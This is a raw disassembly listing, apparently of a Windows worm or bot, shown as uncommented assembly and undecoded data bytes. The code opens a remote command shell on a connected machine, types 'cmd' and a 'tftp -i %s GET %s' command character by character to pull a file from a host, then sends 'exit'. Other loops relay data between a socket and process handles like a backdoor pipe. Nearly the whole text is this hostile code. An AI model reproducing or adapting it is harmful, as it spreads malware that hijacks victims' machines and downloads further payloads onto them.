		jmp	loc_4133F0
; ---------------------------------------------------------------------------


loc_41301E:				; CODE XREF: .XComp0:0041300Cj
					; .XComp0:loc_413158j
		push	1
		pop	eax
		test	eax, eax
		jz	loc_41315D
		push	40h
		push	0
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_421410
		add	esp, 0Ch
		push	0
		push	40h
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-58h]
		call	dword_4E1718	; recv
		mov	[ebp-64h], eax
		cmp	dword ptr [ebp-64h], 0
		jle	short loc_413059
		cmp	dword ptr [ebp-64h], 0FFFFFFFFh
		jnz	short loc_41305E


loc_413059:				; CODE XREF: .XComp0:00413051j
		jmp	loc_41315D
; ---------------------------------------------------------------------------


loc_41305E:				; CODE XREF: .XComp0:00413057j
		mov	eax, [ebp-50h]
		mov	[ebp-9Ch], eax
		cmp	dword ptr [ebp-9Ch], 0
		jz	short loc_41308B
		cmp	dword ptr [ebp-9Ch], 1
		jz	short loc_4130DC
		cmp	dword ptr [ebp-9Ch], 2
		jz	loc_413124
		jmp	loc_413150
; ---------------------------------------------------------------------------


loc_41308B:				; CODE XREF: .XComp0:0041306Ej
		lea	eax, [ebp-88h]
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_4130CA
		push	0
		lea	eax, [ebp-88h]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp-88h]
		push	eax
		push	dword ptr [ebp-58h]
		call	dword_4E1750	; send
		mov	eax, [ebp-50h]
		inc	eax
		mov	[ebp-50h], eax
		jmp	short loc_4130DA
; ---------------------------------------------------------------------------


loc_4130CA:				; CODE XREF: .XComp0:0041309Fj
		push	dword ptr [ebp-58h]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	loc_4133F0
; ---------------------------------------------------------------------------


loc_4130DA:				; CODE XREF: .XComp0:004130C8j
		jmp	short loc_413150
; ---------------------------------------------------------------------------


loc_4130DC:				; CODE XREF: .XComp0:00413077j
		lea	eax, [ebp-0Ch]
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413112
		push	0
		lea	eax, [ebp-68h]
		push	eax
		call	sub_41EBD0
		pop	ecx
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		push	dword ptr [ebp-58h]
		call	dword_4E1750	; send
		mov	eax, [ebp-50h]
		inc	eax
		mov	[ebp-50h], eax
		jmp	short loc_413122
; ---------------------------------------------------------------------------


loc_413112:				; CODE XREF: .XComp0:004130EDj
		push	dword ptr [ebp-58h]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	loc_4133F0
; ---------------------------------------------------------------------------


loc_413122:				; CODE XREF: .XComp0:00413110j
		jmp	short loc_413150
; ---------------------------------------------------------------------------


loc_413124:				; CODE XREF: .XComp0:00413080j
		lea	eax, [ebp-70h]
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		call	sub_422740
		pop	ecx
		pop	ecx
		test	eax, eax
		jnz	short loc_413140
		mov	eax, [ebp-50h]
		inc	eax
		mov	[ebp-50h], eax
		jmp	short loc_413150
; ---------------------------------------------------------------------------


loc_413140:				; CODE XREF: .XComp0:00413135j
		push	dword ptr [ebp-58h]
		call	dword_4E1798	; closesocket
		xor	eax, eax
		jmp	loc_4133F0
; ---------------------------------------------------------------------------


loc_413150:				; CODE XREF: .XComp0:00413086j
					; .XComp0:loc_4130DAj ...
		cmp	dword ptr [ebp-50h], 3
		jnz	short loc_413158
		jmp	short loc_41315D
; ---------------------------------------------------------------------------


loc_413158:				; CODE XREF: .XComp0:00413154j
		jmp	loc_41301E
; ---------------------------------------------------------------------------


loc_41315D:				; CODE XREF: .XComp0:00413023j
					; .XComp0:loc_413059j ...
		push	0
		push	1
		lea	eax, [ebp-74h]
		push	eax
		push	dword ptr [ebp-58h]
		call	dword_4E1750	; send
		push	1
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		push	3E8h
		nop
		call	near ptr 27B048Ah
		push	0
		lea	eax, [ebp-5Ch]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		push	3E8h
		nop
		call	near ptr 27B048Ah
		push	2
		lea	eax, [ebp-8]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		push	3E8h
		nop
		call	near ptr 27B048Ah
		and	dword ptr [ebp-60h], 0
		jmp	short loc_4131CF
; ---------------------------------------------------------------------------


loc_4131C8:				; CODE XREF: .XComp0:00413216j
		mov	eax, [ebp-60h]
		inc	eax
		mov	[ebp-60h], eax


loc_4131CF:				; CODE XREF: .XComp0:004131C6j
		push	offset aCmd	; "cmd"
		call	sub_41EBD0
		pop	ecx
		cmp	[ebp-60h], eax
		jnb	short loc_413218
		mov	eax, [ebp-60h]
		movsx	eax, byte ptr aCmd[eax]	; "cmd"
		push	eax
		push	offset dword_44B5D8
		push	3
		lea	eax, [ebp-54h]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp-54h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		push	7Dh
		nop
		call	near ptr 27B048Ah
		jmp	short loc_4131C8
; ---------------------------------------------------------------------------


loc_413218:				; CODE XREF: .XComp0:004131DDj
		push	0
		lea	eax, [ebp-78h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		push	7D0h
		call	near ptr 27B048Ah
		nop
		push	100h
		push	0
		push	offset byte_4E4454
		call	sub_421410
		add	esp, 0Ch
		push	offset byte_4410E8
		push	dword ptr [ebp+8]
		call	sub_40C86E
		pop	ecx
		push	eax
		push	offset aTftpISGetS_0 ; "tftp -i	%s GET %s"
		push	0FFh
		push	offset byte_4E4454
		call	sub_421B90
		add	esp, 14h
		and	dword ptr [ebp-60h], 0
		jmp	short loc_41327B
; ---------------------------------------------------------------------------


loc_413274:				; CODE XREF: .XComp0:004132C2j
		mov	eax, [ebp-60h]
		inc	eax
		mov	[ebp-60h], eax


loc_41327B:				; CODE XREF: .XComp0:00413272j
		push	offset byte_4E4454
		call	sub_41EBD0
		pop	ecx
		cmp	[ebp-60h], eax
		jnb	short loc_4132C4
		mov	eax, [ebp-60h]
		movsx	eax, byte_4E4454[eax]
		push	eax
		push	offset aC_0	; "%c"
		push	3
		lea	eax, [ebp-54h]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp-54h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		push	7Dh
		nop
		call	near ptr 27B048Ah
		jmp	short loc_413274
; ---------------------------------------------------------------------------


loc_4132C4:				; CODE XREF: .XComp0:00413289j
		push	3E8h
		nop
		call	near ptr 27B048Ah
		push	0
		lea	eax, [ebp-78h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		push	7530h
		nop
		call	near ptr 27B048Ah
		and	dword ptr [ebp-60h], 0
		jmp	short loc_4132F8
; ---------------------------------------------------------------------------


loc_4132F1:				; CODE XREF: .XComp0:0041333Fj
		mov	eax, [ebp-60h]
		inc	eax
		mov	[ebp-60h], eax


loc_4132F8:				; CODE XREF: .XComp0:004132EFj
		push	offset byte_4410E8
		call	sub_41EBD0
		pop	ecx
		cmp	[ebp-60h], eax
		jnb	short loc_413341
		mov	eax, [ebp-60h]
		movsx	eax, byte_4410E8[eax]
		push	eax
		push	offset aC_1	; "%c"
		push	3
		lea	eax, [ebp-54h]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp-54h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		push	7Dh
		nop
		call	near ptr 27B048Ah
		jmp	short loc_4132F1
; ---------------------------------------------------------------------------


loc_413341:				; CODE XREF: .XComp0:00413306j
		push	3E8h
		call	near ptr 27B048Ah
		nop
		push	0
		lea	eax, [ebp-78h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		and	dword ptr [ebp-60h], 0
		jmp	short loc_41336A
; ---------------------------------------------------------------------------


loc_413363:				; CODE XREF: .XComp0:004133B1j
		mov	eax, [ebp-60h]
		inc	eax
		mov	[ebp-60h], eax


loc_41336A:				; CODE XREF: .XComp0:00413361j
		push	offset aExit	; "exit"
		call	sub_41EBD0
		pop	ecx
		cmp	[ebp-60h], eax
		jnb	short loc_4133B3
		mov	eax, [ebp-60h]
		movsx	eax, byte ptr aExit[eax] ; "exit"
		push	eax
		push	offset aC_2	; "%c"
		push	3
		lea	eax, [ebp-54h]
		push	eax
		call	sub_421B90
		add	esp, 10h
		push	0
		lea	eax, [ebp-54h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		push	7Dh
		call	near ptr 27B048Ah
		nop
		jmp	short loc_413363
; ---------------------------------------------------------------------------


loc_4133B3:				; CODE XREF: .XComp0:00413378j
		and	dword ptr [ebp-60h], 0
		jmp	short loc_4133C0
; ---------------------------------------------------------------------------


loc_4133B9:				; CODE XREF: .XComp0:004133E2j
		mov	eax, [ebp-60h]
		inc	eax
		mov	[ebp-60h], eax


loc_4133C0:				; CODE XREF: .XComp0:004133B7j
		cmp	dword ptr [ebp-60h], 1
		ja	short loc_4133E4
		push	258h
		nop
		call	near ptr 27B048Ah
		push	0
		lea	eax, [ebp-78h]
		push	eax
		push	dword ptr [ebp-58h]
		call	sub_412CE8
		add	esp, 0Ch
		jmp	short loc_4133B9
; ---------------------------------------------------------------------------


loc_4133E4:				; CODE XREF: .XComp0:004133C4j
		push	dword ptr [ebp-58h]
		call	dword_4E1798	; closesocket
		push	1
		pop	eax


loc_4133F0:				; CODE XREF: .XComp0:00413019j
					; .XComp0:004130D5j ...
		pop	edi
		pop	esi
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 408h


loc_4133FD:				; CODE XREF: .XComp0:loc_413448j
		push	0
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		push	dword_4E4580
		call	dword_4E1718	; recv
		mov	[ebp-408h], eax
		cmp	dword ptr [ebp-408h], 0
		jle	short loc_413448
		push	0
		lea	eax, [ebp-404h]
		push	eax
		push	dword ptr [ebp-408h]
		lea	eax, [ebp-400h]
		push	eax
		push	dword_4E457C
		nop
		call	near ptr 28407DDh


loc_413448:				; CODE XREF: .XComp0:00413424j
		jmp	short loc_4133FD
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 404h


loc_413453:				; CODE XREF: .XComp0:loc_41349Fj
		and	dword ptr [ebp-404h], 0
		push	0
		lea	eax, [ebp-404h]
		push	eax
		push	400h
		lea	eax, [ebp-400h]
		push	eax
		push	dword_4E4570
		nop
		call	near ptr 2850000h
		cmp	dword ptr [ebp-404h], 0
		jle	short loc_41349F
		push	0
		push	dword ptr [ebp-404h]
		lea	eax, [ebp-400h]
		push	eax
		push	dword_4E4580
		call	dword_4E1750	; send


loc_41349F:				; CODE XREF: .XComp0:00413482j
		jmp	short loc_413453
; ---------------------------------------------------------------------------
byte_4134A1	db 55h,	8Bh, 0ECh	; DATA XREF: sub_4021E5+1E44o
		dd 124EC81h, 57560000h,	6A08758Bh, 0BD8D5928h, 0FFFFFF4Ch
		dd 458BA5F3h, 28858908h, 8BFFFFFFh, 0FFFF2885h,	9880C7FFh
		dd 1000000h, 6A000000h,	8D006A10h, 0FFFF3885h, 2DE850FFh
		dd 830000DFh, 0C7660CC4h, 0FFFF3885h, 0FF0002FFh, 15FFD075h
		dd 4E1700h, 3A858966h, 6AFFFFFFh, 6A016A06h, 8015FF02h
		dd 89004E17h, 0FFFF4885h, 8D106AFFh, 0FFFF3885h, 0B5FF50FFh
		dd 0FFFFFF48h, 172C15FFh, 56A004Eh, 0FF48B5FFh,	15FFFFFFh
		dd 4E1728h, 8558016Ah, 0D1840FC0h, 6A000001h, 0FF006A00h
		dd 0FFFF48B5h, 9415FFFFh, 0A3004E17h, 4E4580h, 0FF2C85C7h
		dd 0CFFFFh, 85C70000h, 0FFFFFF34h, 1, 0FF30A583h, 6A00FFFFh
		dd 2C858D00h, 50FFFFFFh, 4E457C68h, 45786800h, 0E890004Eh
		dd 244CA78h, 858D006Ah,	0FFFFFF2Ch, 45746850h, 7068004Eh
		dd 90004E45h, 44CA5FE8h, 6A446A02h, 0DC858D00h,	50FFFFFEh
		dd 0DE5FE8h, 0CC48300h,	0FEDC85C7h, 44FFFFh, 85C70000h
		dd 0FFFFFF08h, 101h, 0CA58366h,	0FFFFFFh, 4E4578A1h, 14858900h
		dd 0A1FFFFFFh, 4E4574h,	0FF188589h, 6AFFFFh, 26A016Ah
		dd 0FF1C858Dh, 9050FFFFh, 43D45DE8h, 35FF5002h,	4E4574h
		dd 0D450E890h, 90500243h, 43CEA2E8h, 0F0458D02h, 0DC858D50h
		dd 50FFFFFEh, 6A006Ah, 9068h, 8D016A04h, 0FFFF2C85h, 858D50FFh
		dd 0FFFFFF2Ch, 0B5FC6850h, 6A0044h, 0D335E890h,	858D0237h
		dd 0FFFFFF20h, 6A006A50h, 344A6800h, 6A0041h, 0FF2C858Dh
		dd 0E850FFFFh, 239CF86h, 24858990h, 8DFFFFFFh, 0FFFF2085h
		dd 6A50FFh, 0F468006Ah,	6A004133h, 2C858D00h, 50FFFFFFh
		dd 39CF61E8h, 45899002h, 0FFFF6AECh, 0E890F075h, 23AD260h
		dd 75FF006Ah, 0D670E8ECh, 6A90023Ch, 24B5FF00h,	90FFFFFFh
		dd 3CD661E8h, 0EC75FF02h, 0CEC6E890h, 0B5FF0237h, 0FFFFFF24h
		dd 0CEBAE890h, 6A0237h,	90F075FFh, 43CD27E8h, 7835FF02h
		dd 90004E45h, 37CEA3E8h, 7C35FF02h, 90004E45h, 37CE97E8h
		dd 7035FF02h, 90004E45h, 37CE8BE8h, 7435FF02h, 90004E45h
		dd 37CE7FE8h, 0F475FF02h, 0CE76E890h, 75FF0237h, 6DE890F0h
		dd 0E90237CEh, 0FFFFFE24h, 0FF48B5FFh, 15FFFFFFh, 4E1798h
		dd 69D4458Bh, 234C0h, 24B0FF00h, 0FF004546h, 4E179815h
		dd 0D475FF00h, 0FFA0C9E8h, 6A59FFh, 0C8BEE890h,	5E5F0241h
		dd 4C2C9h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413748	proc near		; DATA XREF: .XComp0:0044100Co
		push	ebp
		mov	ebp, esp
		call	sub_413752
		pop	ebp
		retn
sub_413748	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_413752	proc near		; CODE XREF: sub_413748+3p
		push	ebp
		mov	ebp, esp
		push	0FFFEh
		push	400h
		call	sub_41AE1B
		pop	ecx
		pop	ecx
		mov	dword_4E4588, eax
		pop	ebp
		retn
sub_413752	endp

; ---------------------------------------------------------------------------
byte_41376D	db 55h,	8Bh, 0ECh	; DATA XREF: .XComp0:0040E5C2o
		dd 6D8EC81h, 57560000h,	6A08758Bh, 0BD8D5927h, 0FFFFFF60h
		dd 458BA5F3h, 58858908h, 8BFFFFFFh, 0FFFF5885h,	9880C7FFh
		dd 1000000h, 83000000h,	0FFFD34A5h, 106A00FFh, 858D006Ah
		dd 0FFFFFD38h, 0DC5AE850h, 0C4830000h, 85C7660Ch, 0FFFFFD38h
		dd 0B5FF0002h, 0FFFFFF6Ch, 170015FFh, 8966004Eh, 0FFFD3A85h
		dd 3CA583FFh, 0FFFFFDh,	16A006Ah, 15FF026Ah, 4E1780h, 0FF5C8589h
		dd 0BD83FFFFh, 0FFFFFF5Ch, 834875FFh, 7500F47Dh, 0FF006A21h
		dd 858DF075h, 0FFFFFD48h, 70858D50h, 50FFFFFFh,	0FF60B5FFh
		dd 0F4E8FFFFh, 83FFFF77h, 858D14C4h, 0FFFFFD48h, 3BB2E850h
		dd 0FF590000h, 0FFFF64B5h, 9FCCE8FFh, 6A59FFFFh, 0C1E89000h
		dd 8B0241C7h, 0FFFF6485h, 34C069FFh, 8B000002h,	0FFFF5C8Dh
		dd 248889FFh, 6A004546h, 38858D10h, 50FFFFFDh, 0FF5CB5FFh
		dd 15FFFFFFh, 4E172Ch, 0FFFF883h, 0FD85h, 9415FF00h, 89004E16h
		dd 0FFFD3085h, 30BD81FFh, 40FFFFFDh, 74000027h,	0F47D8348h
		dd 6A217500h, 0F075FF00h, 0FD48858Dh, 8D50FFFFh, 0FFFF7085h
		dd 0B5FF50FFh, 0FFFFFF60h, 0FF775EE8h, 14C483FFh, 0FD48858Dh
		dd 0E850FFFFh, 3B1Ch, 64B5FF59h, 0E8FFFFFFh, 0FFFF9F36h
		dd 90006A59h, 41C72BE8h, 0FFFE6802h, 680000h, 0E8000004h
		dd 7537h, 88A35959h, 66004E45h,	4E4588A1h, 85896600h, 0FFFFFD3Ah
		dd 858D106Ah, 0FFFFFD38h, 5CB5FF50h, 0FFFFFFFFh, 4E172C15h
		dd 0FFF88300h, 15FF6075h, 4E1694h, 0FD2C8589h, 7D83FFFFh
		dd 2D7500F4h, 0FD2CBD81h, 2740FFFFh, 21740000h,	75FF006Ah
		dd 48858DF0h, 50FFFFFDh, 0FF70858Dh, 0FF50FFFFh, 0FFFF60B5h
		dd 76C1E8FFh, 0C483FFFFh, 48858D14h, 50FFFFFDh,	3A7FE8h
		dd 0B5FF5900h, 0FFFFFF64h, 0FF9E99E8h, 6A59FFh,	0C68EE890h
		dd 56A0241h, 0FF5CB5FFh, 15FFFFFFh, 4E1728h, 0FFFF883h
		dd 0F584h, 2885C700h, 10FFFFFDh, 6A000000h, 0C0855801h
		dd 0E0840Fh, 858D0000h,	0FFFFFD28h, 48858D50h, 50FFFFFFh
		dd 0FF5CB5FFh, 15FFFFFFh, 4E1794h, 83FC4589h, 75FFFC7Dh
		dd 83D0EB02h, 7500F47Dh, 0FF006A21h, 858DF075h,	0FFFFFD48h
		dd 70858D50h, 50FFFFFFh, 0FF60B5FFh, 28E8FFFFh,	83FFFF76h
		dd 858D14C4h, 0FFFFFD48h, 39E6E850h, 6A590000h,	2006800h
		dd 858D0000h, 0FFFFFD48h, 0FC75FF50h, 171815FFh, 0F883004Eh
		dd 686674FFh, 4410E8h, 4410E868h, 1835FF00h, 0FF004E14h
		dd 0FFFF60B5h, 8E40E8FFh, 5059FFFFh, 44B60468h,	4006800h
		dd 858D0000h, 0FFFFF928h, 0E14AE850h, 0C4830000h, 8D006A1Ch
		dd 0FFF92885h, 79E850FFh, 590000B1h, 28858D50h,	50FFFFF9h
		dd 0FFFC75FFh, 4E175015h, 0FFF88300h, 90A10B74h, 40004E45h
		dd 4E4590A3h, 0FF15E900h, 0B5FFFFFFh, 0FFFFFF5Ch, 179815FFh
		dd 0B5FF004Eh, 0FFFFFF64h, 0FF9D6DE8h, 6A59FFh,	41C563E8h
		dd 5E5F9002h, 4C2C9h
dword_413AA4	dd 81EC8B55h, 0A94ECh, 0C7575600h, 0FFF8DC85h, 1FFh, 8485C700h
					; DATA XREF: .XComp0:0040E47Co
		dd 1FFFFFEh, 0C7000000h, 0FFF5BC85h, 1FFh, 8758B00h, 0A9B9h
		dd 80BD8D00h, 0F3FFFFF9h, 8458BA5h, 0FCF08589h,	858BFFFFh
		dd 0FFFFFCF0h, 2A080C7h, 10000h, 0A5830000h, 0FFFFFEFCh
		dd 0C8A58300h, 0FFFFF7h, 0FCF4858Dh, 6850FFFFh,	101h, 6A2B38E8h
		dd 6A9071h, 26A016Ah, 6FE890h, 8589716Ah, 0FFFFFC5Ch, 858D046Ah
		dd 0FFFFF8DCh, 68046A50h, 0FFFFh, 0FC5CB5FFh, 0E890FFFFh
		dd 716A035Dh, 858D046Ah, 0FFFFFE84h, 68FB6A50h,	0FFFFh
		dd 0FC5CB5FFh, 0E890FFFFh, 716A0341h, 0F5BC858Dh, 6850FFFFh
		dd 8004667Eh, 0FC5CB5FFh, 0A2E8FFFFh, 90716A09h, 6085C766h
		dd 2FFFFFCh, 64A58300h,	0FFFFFCh, 1418A166h, 0FF50004Eh
		dd 4E170015h, 85896600h, 0FFFFFC62h, 858D106Ah,	0FFFFFC60h
		dd 5CB5FF50h, 90FFFFFCh, 6A024FE8h, 7DC08571h, 58016A08h
		dd 7D6E9h, 0FF0A6A00h, 0FFFC5CB5h, 4D09E8FFh, 8390716Ah
		dd 0FFF5B8A5h, 0DEB00FFh, 0F5B8858Bh, 8940FFFFh, 0FFF5B885h
		dd 0B8858BFFh, 3BFFFFF5h, 0FFFEFC85h, 8B1973FFh, 0FFF5B885h
		dd 85848BFFh, 0FFFFFF00h, 0FC5C853Bh, 275FFFFh,	0CCEB02EBh
		dd 0F5B8858Bh, 853BFFFFh, 0FFFFFEFCh, 0BD832975h, 0FFFFFEFCh
		dd 8B207340h, 0FFF5B885h, 5C8D8BFFh, 89FFFFFCh,	0FF00858Ch
		dd 858BFFFFh, 0FFFFFEFCh, 0FC858940h, 33FFFFFEh, 75C085C0h
		dd 5C858B86h, 89FFFFFCh, 0FFFE8885h, 58016AFFh,	840FC085h
		dd 734h, 8D59416Ah, 0FFFEFCB5h,	0C8BD8DFFh, 0F3FFFFF7h
		dd 6A006AA5h, 8D006A00h, 0FFF7C885h, 858B50FFh,	0FFFFFE88h
		dd 0E8905040h, 7169F138h, 75FFF883h, 58016A08h,	6FEE9h
		dd 0E0A58300h, 0FFFFF8h, 858B0DEBh, 0FFFFF8E0h,	0E0858940h
		dd 8BFFFFF8h, 0FFF8E085h, 88853BFFh, 0FFFFFFEh,	6CE8Fh
		dd 6A646A00h, 90858D00h, 50FFFFFEh, 0D743E8h, 0CC48300h
		dd 6A646Ah, 0F8E8858Dh,	0E850FFFFh, 0D730h, 8D0CC483h
		dd 0FFF7C885h, 0B5FF50FFh, 0FFFFF8E0h, 29761E8h, 0FC08500h
		dd 68984h, 0E0858B00h, 3BFFFFF8h, 0FFFC5C85h, 0E5850FFFh
		dd 0C7000000h, 0FFFCD885h, 10FFh, 0D8858D00h, 50FFFFFCh
		dd 0F8CC858Dh, 0FF50FFFFh, 0FFFC5CB5h, 0D2F6E8FFh, 8990716Ah
		dd 0FFF5C485h, 0C4BD83FFh, 0FFFFFFF5h, 0A9840Fh, 0A5830000h
		dd 0FFFFF5B4h, 8B0DEB00h, 0FFF5B485h, 858940FFh, 0FFFFF5B4h
		dd 0F5B4858Bh, 853BFFFFh, 0FFFFFEFCh, 858B1973h, 0FFFFF5B4h
		dd 85848Bh, 3BFFFFFFh, 0FFF5C485h, 0EB0275FFh, 8BCCEB02h
		dd 0FFF5B485h, 0FC853BFFh, 75FFFFFEh, 0FCBD8329h, 40FFFFFEh
		dd 858B2073h, 0FFFFF5B4h, 0F5C48D8Bh, 8C89FFFFh, 0FFFF0085h
		dd 0FC858BFFh, 40FFFFFEh, 0FEFC8589h, 0C033FFFFh, 8675C085h
		dd 0F5C4858Bh, 853BFFFFh, 0FFFFFE88h, 858B0C7Eh, 0FFFFF5C4h
		dd 0FE888589h, 6AFFFFh,	7468156Ah, 0FF0044B6h, 0FFF5C4B5h
		dd 9BE890FFh, 0E9716A04h, 592h,	646A006Ah, 0FE90858Dh
		dd 0FF50FFFFh, 0FFF8E0B5h, 4FE890FFh, 89716A23h, 0FFF8E485h
		dd 0E4BD83FFh, 0FFFFF8h, 9D8F0Fh, 0A5830000h, 0FFFFF5B0h
		dd 8B0DEB00h, 0FFF5B085h, 858940FFh, 0FFFFF5B0h, 0F5B0858Bh
		dd 853BFFFFh, 0FFFFFEFCh, 858B5E73h, 0FFFFF5B0h, 85848Bh
		dd 3BFFFFFFh, 0FFF8E085h, 8B4775FFh, 0FFFEFC85h, 853948FFh
		dd 0FFFFF5B0h, 858B2973h, 0FFFFF5B0h, 0F5B08D8Bh, 8C8BFFFFh
		dd 0FFFF048Dh, 858C89FFh, 0FFFFFF00h, 0F5B0858Bh, 8940FFFFh
		dd 0FFF5B085h, 8BC8EBFFh, 0FFFEFC85h, 858948FFh, 0FFFFFEFCh
		dd 87EB02EBh, 0C085C033h, 0FF74850Fh, 0B5FFFFFFh, 0FFFFF8E0h
		dd 6A5784E8h, 0CBE99071h, 8D000004h, 0FFFC7085h, 858D50FFh
		dd 0FFFFF8E8h, 0B68C6850h, 858D0044h, 0FFFFFE90h, 0EFB6E850h
		dd 0C4830000h, 0B6946810h, 858D0044h, 0FFFFF8E8h, 0E852E850h
		dd 59590000h, 1A75C085h, 166A006Ah, 44B69C68h, 0E0B5FF00h
		dd 90FFFFF8h, 6A0381E8h, 465E971h, 0B4680000h, 8D0044B6h
		dd 0FFF8E885h, 21E850FFh, 590000E8h, 75C08559h,	6A006A1Ah
		dd 0B6BC6814h, 0B5FF0044h, 0FFFFF8E0h, 350E890h, 34E9716Ah
		dd 68000004h, 44B6D4h, 0F8E8858Dh, 0E850FFFFh, 0E7F0h
		dd 0C0855959h, 6A1A75h,	0DC680D6Ah, 0FF0044B6h,	0FFF8E0B5h
		dd 1FE890FFh, 0E9716A03h, 403h,	44B6EC68h, 0E8858D00h
		dd 50FFFFF8h, 0E7BFE8h,	85595900h, 6A1A75C0h, 68106A00h
		dd 44B6F4h, 0F8E0B5FFh,	0E890FFFFh, 716A02EEh, 3D2E9h
		dd 0B7086800h, 858D0044h, 0FFFFF8E8h, 0E78EE850h, 59590000h
		dd 1A75C085h, 1E6A006Ah, 44B70C68h, 0E0B5FF00h,	0E8FFFFF8h
		dd 716A02BEh, 3A1E990h,	2C680000h, 8D0044B7h, 0FFF8E885h
		dd 5DE850FFh, 590000E7h, 75C08559h, 0B7346831h,	858D0044h
		dd 0FFFFFC70h, 0E746E850h, 59590000h, 1A75C085h, 136A006Ah
		dd 44B73868h, 0E0B5FF00h, 90FFFFF8h, 6A0275E8h,	359E971h
		dd 4C680000h, 8D0044B7h, 0FFF8E885h, 15E850FFh,	590000E7h
		dd 75C08559h, 0B7546831h, 858D0044h, 0FFFFFC70h, 0E6FEE850h
		dd 59590000h, 1A75C085h, 136A006Ah, 44B75868h, 0E0B5FF00h
		dd 90FFFFF8h, 6A022DE8h, 311E971h, 6C680000h, 8D0044B7h
		dd 0FFF8E885h, 0CDE850FFh, 590000E6h, 75C08559h, 590A6A3Ah
		dd 44B774BEh, 84BD8D00h, 0F3FFFFF5h, 6AA566A5h,	84858D00h
		dd 50FFFFF5h, 0AB37E8h,	8D505900h, 0FFF58485h, 0B5FF50FFh
		dd 0FFFFF8E0h, 6A01DDE8h, 0C0E99071h, 68000002h, 44B7A0h
		dd 0F8E8858Dh, 0E850FFFFh, 0E67Ch, 0C0855959h, 56A3B75h
		dd 0B7A8BE59h, 0BD8D0044h, 0FFFFF56Ch, 0A566A5F3h, 8D006AA4h
		dd 0FFF56C85h, 0E5E850FFh, 590000AAh, 6C858D50h, 50FFFFF5h
		dd 0F8E0B5FFh, 8BE8FFFFh, 90716A01h, 26EE9h, 0B7C06800h
		dd 858D0044h, 0FFFFF8E8h, 0E62AE850h, 59590000h, 850FC085h
		dd 0FAh, 0F94C858Dh, 8D50FFFFh,	0FFFC2885h, 858D50FFh
		dd 0FFFFFCECh, 8C858D50h, 50FFFFFEh, 0FEF4858Dh, 8D50FFFFh
		dd 0FFFEF885h, 0C86850FFh, 8D0044B7h, 0FFFE9085h, 35E850FFh
		dd 830000EDh, 858D20C4h, 0FFFFFC28h, 0D506E850h, 89590000h
		dd 0FFFCD485h, 4C858DFFh, 50FFFFF9h, 0D4F3E8h, 85895900h
		dd 0FFFFF5C0h, 6A326Ah,	0FC28858Dh, 0E850FFFFh,	0D27Ch
		dd 0FF0CC483h, 0FFF5C0B5h, 0D4B5FFFFh, 68FFFFFCh, 44B7F0h
		dd 0FC28858Dh, 0E850FFFFh, 0D80Ch, 6A10C483h, 8D006A10h
		dd 0FFFC2885h, 0E9E850FFh, 830000E1h, 85890CC4h, 0FFFFFC24h
		dd 0FCEC858Dh, 8D50FFFFh, 0FFFE8C85h, 858D50FFh, 0FFFFFEF4h
		dd 0F8858D50h, 50FFFFFEh, 44B7F868h, 0DC858D00h, 50FFFFFCh
		dd 0D7C3E8h, 18C48300h,	1D6A006Ah, 44B80468h, 0E0B5FF00h
		dd 0E8FFFFF8h, 716A0076h, 159E990h, 24680000h, 8D0044B8h
		dd 0FFF8E885h, 15E850FFh, 590000E5h, 0FC08559h,	11285h
		dd 6A006A00h, 0B82C6828h, 0B5FF0044h, 0FFFFF8E0h, 40E890h
		dd 0B5FF716Ah, 0FFFFFC24h, 0FCDC858Dh, 0E850FFFFh, 13Dh
		dd 0F8835959h, 0C9850F01h, 8D000000h, 0FFFCDC85h, 586850FFh
		dd 8D0044B8h, 0FFF5C885h, 41E850FFh, 830000D7h,	0BD830CC4h
		dd 0FFFFFC1Ch, 6A247500h, 18B5FF00h, 8DFFFFFCh,	0FFF5C885h
		dd 858D50FFh, 0FFFFFB98h, 80B5FF50h
		dd 0E8FFFFF9h, 0FFFF6D63h, 0E814C483h, 162h, 7501F883h
		dd 6A006A75h, 0B8746817h, 0B5FF0044h, 0FFFFF8E0h, 0FFBCE890h
		dd 858D7169h, 0FFFFFCDCh, 0B88C6850h, 858D0044h, 0FFFFF5C8h
		dd 0D6DAE850h, 0C4830000h, 1CBD830Ch, 0FFFFFCh,	6A2475h
		dd 0FC18B5FFh, 858DFFFFh, 0FFFFF5C8h, 98858D50h, 50FFFFFBh
		dd 0F980B5FFh, 0FCE8FFFFh, 83FFFF6Ch, 858D14C4h, 0FFFFF5C8h
